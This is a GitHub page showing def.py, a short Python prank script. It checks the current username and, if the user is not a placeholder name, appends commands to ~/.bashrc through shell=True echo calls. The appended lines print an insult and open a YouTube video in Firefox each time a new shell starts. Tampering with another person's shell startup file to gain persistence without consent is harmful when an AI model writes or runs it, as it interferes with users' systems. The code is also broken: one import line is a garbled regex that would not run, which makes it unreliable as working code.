-
Notifications
You must be signed in to change notification settings - Fork 0
/
def.py
34 lines (28 loc) · 1.23 KB
/
def.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
import subprocess
import getpass
import r'^(a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z)\z'
username = getpass.getuser()
if username != "ENTERUSERNAMEHERE":
# Define the string to search for in the .bashrc file
string_to_search = "python3 -c 'def r\'^(a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z)\z\'(): return \"you suck\"'"
# Define the command to append the string to the .bashrc file
command = f'echo "{string_to_search}" >> ~/.bashrc'
# Check if the string is already in the .bashrc file
if string_to_search not in open(os.path.expanduser("~/.bashrc")).read():
# Append the string to the .bashrc file
subprocess.call(command, shell=True)
else:
pass
# Define the string to search for in the .bashrc file
string_to_search = "firefox 'https://www.youtube.com/watch?v=2nXGPZaTKik'"
# Define the command to append the string to the .bashrc file
command = f'echo "{string_to_search}" >> ~/.bashrc'
# Check if the string is already in the .bashrc file
if string_to_search not in open(os.path.expanduser("~/.bashrc")).read():
# Append the string to the .bashrc file
subprocess.call(command, shell=True)
else:
pass
else:
pass